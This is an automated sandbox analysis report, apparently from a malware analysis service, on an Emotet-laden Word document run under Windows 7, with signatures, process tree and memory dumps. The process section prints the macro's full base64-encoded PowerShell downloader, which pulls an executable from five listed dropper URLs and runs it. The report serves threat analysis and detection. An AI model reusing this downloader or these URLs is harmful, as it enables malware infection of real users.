Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    63s
  • max time network
    72s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    13/08/2020, 18:03

Sharing

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General

  • Target
    emotet_e3_e34e5f0797877e5201202c222ea1e3821baee179e42b02c7fbe1885f5ca3356c_2020-08-13__180206._doc.doc
  • Size 231KB
  • Sample200813-fa72b89aes
  • SHA256 e34e5f0797877e5201202c222ea1e3821baee179e42b02c7fbe1885f5ca3356c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://gregemmerth.com/stats/rBZp0wy31512967/
  • exe.dropper

    http://paralink.com.br/faatads/19zPjcmw7r318182393/
  • exe.dropper

    http://riandutra.com/img/yiZS/
  • exe.dropper

    https://mrveggy.com/erros/Busgh63a1960/
  • exe.dropper

    http://mycyberhealth.online/yyczief/wlW/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 23 IoCs
  • JavaScript code in executable 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 282 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_e34e5f0797877e5201202c222ea1e3821baee179e42b02c7fbe1885f5ca3356c_2020-08-13__180206._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1032
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:796
    • C:\Users\Admin\AppData\Local\Temp\Wmzy.exe
      "C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1828
      • C:\Users\Admin\AppData\Local\Temp\.CR.1976\Avira.Spotlight.Bootstrapper.exe
        "C:\Users\Admin\AppData\Local\Temp\.CR.1976\Avira.Spotlight.Bootstrapper.exe" OriginalFileName=Wmzy.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1656

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/796-13-0x00000000026A0000-0x00000000026A1000-memory.dmp
        Download

        memory/796-12-0x0000000002530000-0x0000000002531000-memory.dmp
        Download

        memory/796-9-0x000007FEF2170000-0x000007FEF2B5C000-memory.dmp
        Download

        memory/796-10-0x0000000002350000-0x0000000002351000-memory.dmp
        Download

        memory/796-11-0x000000001ABB0000-0x000000001ABB1000-memory.dmp
        Download

        memory/796-16-0x000000001C580000-0x000000001C581000-memory.dmp
        Download

        memory/796-15-0x000000001B700000-0x000000001B701000-memory.dmp
        Download

        memory/1032-6-0x000000000BB10000-0x000000000BB14000-memory.dmp
        Download

        memory/1032-8-0x0000000006DF0000-0x0000000006FF0000-memory.dmp
        Download

        memory/1032-5-0x000000000AA90000-0x000000000AA94000-memory.dmp
        Download

        memory/1032-14-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1032-7-0x0000000006DF0000-0x0000000006FF0000-memory.dmp
        Download

        memory/1032-2-0x0000000008A40000-0x0000000008A44000-memory.dmp
        Download

        memory/1656-41-0x00000000004A0000-0x00000000004A1000-memory.dmp
        Download

        memory/1656-48-0x00000000046B0000-0x00000000046B1000-memory.dmp
        Download

        memory/1656-35-0x00000000007C0000-0x00000000007C1000-memory.dmp
        Download

        memory/1656-27-0x00000000003E0000-0x00000000003E1000-memory.dmp
        Download

        memory/1656-51-0x00000000046B0000-0x00000000046B1000-memory.dmp
        Download

        memory/1656-45-0x0000000000830000-0x0000000000831000-memory.dmp
        Download

        memory/1656-65-0x0000000004250000-0x0000000004251000-memory.dmp
        Download

        memory/1656-56-0x00000000042A0000-0x00000000042A1000-memory.dmp
        Download

        memory/1656-38-0x0000000000420000-0x0000000000421000-memory.dmp
        Download

        memory/1656-31-0x0000000000330000-0x0000000000331000-memory.dmp
        Download

        memory/1656-60-0x0000000002050000-0x0000000002051000-memory.dmp
        Download

        memory/1656-23-0x00000000008E0000-0x00000000008E1000-memory.dmp
        Download

        memory/1656-22-0x0000000073290000-0x000000007397E000-memory.dmp
        Download